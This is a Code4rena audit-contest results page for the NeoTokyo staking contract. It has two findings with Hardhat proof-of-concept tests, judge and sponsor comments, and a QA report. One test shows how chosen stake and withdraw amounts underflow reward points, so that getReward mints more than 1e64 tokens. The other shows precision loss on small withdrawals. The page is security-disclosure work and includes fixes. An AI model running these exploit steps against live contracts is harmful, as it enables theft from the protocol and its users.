Platform: Code4rena
Start Date: 08/03/2023
Pot Size: $60,500 USDC
Total HM: 2
Participants: 123
Period: 7 days
Judge: hansfriese
Id: 220
League: ETH
Rank: 25/123
Findings: 2
Award: $230.83
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: rokso
Also found by: 0x52, 0xnev, ABA, BPZ, DadeKuma, Haipls, J4de, Jeiwan, Josiah, Krace, LegendFenGuin, Lirios, MadWookie, RaymondFam, Ruhum, Toshii, UdarTeam, aashar, ak1, anodaram, auditor0517, carlitox477, cccz, jekapi, juancito, kaden, kenzo, minhquanym, nobody2018, rbserver, rokso, ulqiorra
201.162 USDC - $201.16
NeoTokyoStaking allows to stake and withdraw LPs. User can stake multiple times on same position which simply results in extended lock time and user can withdraw all of these LPs once lock time is passed.
There is a scenario when withdrawing LPs results in overflow of lpPosition.points. After withdraw if attacker calls getRewards()
then attacker will get more than 1e64 BYTES tokens as reward.
Affected code block: NeoTokyoStaker.sol#L1622-L1631
Affected line: L1627
From below POC you can see that Alice is staking twice and some specific amounts which will trigger underflow when Alice withdraw LP. Once staked LPs are unlocked, Alice can withdraw her LPs and call getReward()
to trigger minting of more than 1e64 BYTES tokens.
Below test can be added in NeoTokyoStaker.test.js
test file.
it('Unexpected rewards minting due to underflow of "points"', async function () { // Configure the LP token contract address on the staker. await NTStaking.connect(owner.signer).configureLP(LPToken.address); const amount1 = ethers.utils.parseEther('10.009') const amount2 = ethers.utils.parseEther('11.009') const lockingDays = 30 // Alice stake amount1 LPs for 30 days. await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS[lockingDays], amount1, 0, 0 ); // Alice stake amount2 LPs for 30 days. await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS[lockingDays], amount2, 0, 0 ); const priorBlockNumber = await ethers.provider.getBlockNumber(); const priorBlock = await ethers.provider.getBlock(priorBlockNumber); let aliceStakeTime = priorBlock.timestamp; // Bob stake 10 LPs for 30 days await NTStaking.connect(bob.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS[lockingDays], ethers.utils.parseEther('10'), 0, 0 ); // Set time to unlock staked lp await ethers.provider.send('evm_setNextBlockTimestamp', [ aliceStakeTime + (60 * 60 * 24 * lockingDays) ]); // Alice withdraw LP // This transaction will cause underflow of `lpPosition.points` await NTStaking.connect(alice.signer).withdraw( ASSETS.LP.id, amount1.add(amount2) ); // Before exploit:: Verify Alice's Bytes balance is less than 10000 BYTES expect(await NTBytes2_0.balanceOf(alice.address)).lt(ethers.utils.parseUnits('10000', 18)) // Get rewards for Alice. It will mint HUGE rewards due to underflow happened on withdraw transaction. await NTBytes2_0.getReward(alice.address) // After exploit:: Verify Alice's Bytes balance is greater than 3e64 expect(await NTBytes2_0.balanceOf(alice.address)).gt(ethers.utils.parseUnits('3', 64)) });
Manual
Consider adding proper precision for points
and totalPoints
and also consider checking for under/overflows.
#0 - c4-judge
2023-03-16T05:10:22Z
hansfriese marked the issue as satisfactory
#1 - c4-judge
2023-03-16T05:10:34Z
hansfriese marked the issue as duplicate of #450
#2 - c4-judge
2023-03-17T01:07:20Z
hansfriese marked the issue as not a duplicate
#3 - c4-judge
2023-03-17T01:07:28Z
hansfriese marked the issue as primary issue
#4 - TimTinkers
2023-03-21T06:01:08Z
@hansfriese this attack is a different way of abusing the same rounding bug from #348; duplicates?
I agree with the severity of the underlying issue and really appreciate the test case demonstrating this.
#5 - c4-sponsor
2023-03-21T06:01:15Z
TimTinkers requested judge review
#6 - hansfriese
2023-03-21T09:30:21Z
Totally, there are 3 kinds of rounding issues.
5e15
twice and withdrawing 1e16
. So 0 * 2 - 1 = -1 = type(uint256).maxAfter discussing with other judges, I will merge 1 and 2 into one high and mark 3 as QA as it contains a lower impact.
#7 - c4-sponsor
2023-03-24T10:03:42Z
TimTinkers marked the issue as sponsor confirmed
#8 - c4-judge
2023-03-28T05:15:57Z
hansfriese marked the issue as selected for report
🌟 Selected for report: rokso
Also found by: 0x52, 0xnev, ABA, BPZ, DadeKuma, Haipls, J4de, Jeiwan, Josiah, Krace, LegendFenGuin, Lirios, MadWookie, RaymondFam, Ruhum, Toshii, UdarTeam, aashar, ak1, anodaram, auditor0517, carlitox477, cccz, jekapi, juancito, kaden, kenzo, minhquanym, nobody2018, rbserver, rokso, ulqiorra
201.162 USDC - $201.16
https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1623
During withdrawLP()
code logic calculates user's points
and subtract from user's lpPosition.points
. If user withdraw any amount < 1e16 then calculated points becomes 0 due to precision loss and this leaves lpPosition.points
unchanged. This unchanged point
will impact rewards calculation down the lane.
Below test shows that points
remain unchanged after withdrawing small amount, even multiple times.
it('"points" remains unchanged when user withdraw small amount of LP', async function () { // Configure the LP token contract address on the staker. await NTStaking.connect(owner.signer).configureLP(LPToken.address); const amount1 = ethers.utils.parseEther('10') const lockingDays = 30 // Alice stake amount1 LPs for 30 days. await NTStaking.connect(alice.signer).stake(ASSETS.LP.id, TIMELOCK_OPTION_IDS[lockingDays], amount1, 0, 0); const priorBlockNumber = await ethers.provider.getBlockNumber(); const priorBlock = await ethers.provider.getBlock(priorBlockNumber); let aliceStakeTime = priorBlock.timestamp; // Bob stake 10 LPs for 30 days await NTStaking.connect(bob.signer).stake(ASSETS.LP.id, TIMELOCK_OPTION_IDS[lockingDays], amount1, 0, 0); // Set time to unlock staked lp await ethers.provider.send('evm_setNextBlockTimestamp', [aliceStakeTime + (60 * 60 * 24 * lockingDays)]); let aliceLpPointsBefore = (await NTStaking.getStakerPositions(alice.address)).stakedLPPosition.points; const amountToWithdraw = 1e15 // Alice withdraw small LP await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw); let aliceLpPointsAfter = (await NTStaking.getStakerPositions(alice.address)).stakedLPPosition.points; expect(aliceLpPointsAfter).equal(aliceLpPointsBefore) aliceLpPointsAfter = aliceLpPointsBefore await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw); await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw); await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw); await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw); aliceLpPointsAfter = (await NTStaking.getStakerPositions(alice.address)).stakedLPPosition.points; expect(aliceLpPointsAfter).equal(aliceLpPointsBefore) });
Manual
Consider updating formula to perform multiplications first and then do the division.
uint256 points = amount * lpPosition.multiplier * 100 / 1e18 / _DIVISOR;
Above fix will not eliminate bug entirely, so consider using higher precision value for multiplier
#0 - c4-judge
2023-03-16T11:09:43Z
hansfriese marked the issue as satisfactory
#1 - c4-judge
2023-03-16T11:09:57Z
hansfriese marked the issue as duplicate of #348
#2 - c4-judge
2023-03-21T09:19:33Z
hansfriese marked the issue as duplicate of #261
#3 - c4-judge
2023-03-29T00:19:06Z
hansfriese marked the issue as not a duplicate
#4 - c4-judge
2023-03-29T00:19:23Z
hansfriese changed the severity to 3 (High Risk)
#5 - c4-judge
2023-03-29T00:20:05Z
hansfriese marked the issue as duplicate of #261
🌟 Selected for report: 0xSmartContract
Also found by: 0x1f8b, 0x6980, 0xAgro, 0xSolus, 0xhacksmithh, 0xkazim, ABA, BPZ, BowTiedOriole, ChainReview, DadeKuma, DeFiHackLabs, Deathstore, DevABDee, Diana, Dravee, Dug, Englave, Go-Langer, Haipls, IceBear, Inspex, Jeiwan, Kek, Kresh, Madalad, MatricksDeCoder, MyFDsYours, RaymondFam, Rolezn, SAAJ, Sathish9098, Taloner, Udsen, Viktor_Cortess, atharvasama, ayden, brgltd, btk, carlitox477, catellatech, chaduke, codeislight, deadrxsezzz, descharre, erictee, fatherOfBlocks, favelanky, glcanvas, handsomegiraffe, jasonxiale, jekapi, joestakey, lemonr, luxartvinsec, martin, matrix_0wl, minhquanym, mrpathfindr, nadin, oyc_109, parsely, peanuts, pfedprog, rbserver, rokso, saian, santipu_, scokaf, slvDev, tsvetanovv, ubl4nk, ulqiorra, yamapyblack, zaskoh
29.6697 USDC - $29.67
Issue Id | Level | Description | No of findings |
---|---|---|---|
N-01 | Non Critical | Possible to stake 0 amount of LP | 1 |
N-02 | Non Critical | Wrong if condition | 2 |
R-01 | Refactor | Unnecessary code logic for string comparison | 1 |
Issue: Stake LP function in neoTokyoStaker allows to stake 0 LP amount
Recommendation: Consider adding non zero amount check
Code: NeoTokyoStaker.sol#L1124-L1137
function _stakeLP(uint256 _timelock) private { uint256 amount; assembly { amount := calldataload(0x44) }
if
conditionIssue: Found this issues at 2 places. There is wrong if
condition around AssetType. AssetType hold values in 0-3 range, but if
condition uint8(_assetType) > 4
which is wrong.
Recommendation: Consider either just remove if
condition function param will run this check internally or updating if
condition with proper check.
Code: This issue is at 2 place in contract
1205: if (uint8(_assetType) > 4) { 1206: revert InvalidAssetType(uint256(_assetType)); 1207: }
1168: if (uint8(_assetType) == 2 || uint8(_assetType) > 4) { 1169: revert InvalidAssetType(uint256(_assetType)); 1170: }
Issue: Contract has a huge function to check string equality while there are other easy to use options available.
Recommendation: Consider adding check like this.
if (keccak256(abi.encodePacked(_a)) == keccak256(abi.encodePacked(_b)));
#0 - c4-judge
2023-03-16T15:23:31Z
hansfriese marked the issue as grade-c
#1 - c4-judge
2023-03-24T16:07:57Z
hansfriese marked the issue as grade-b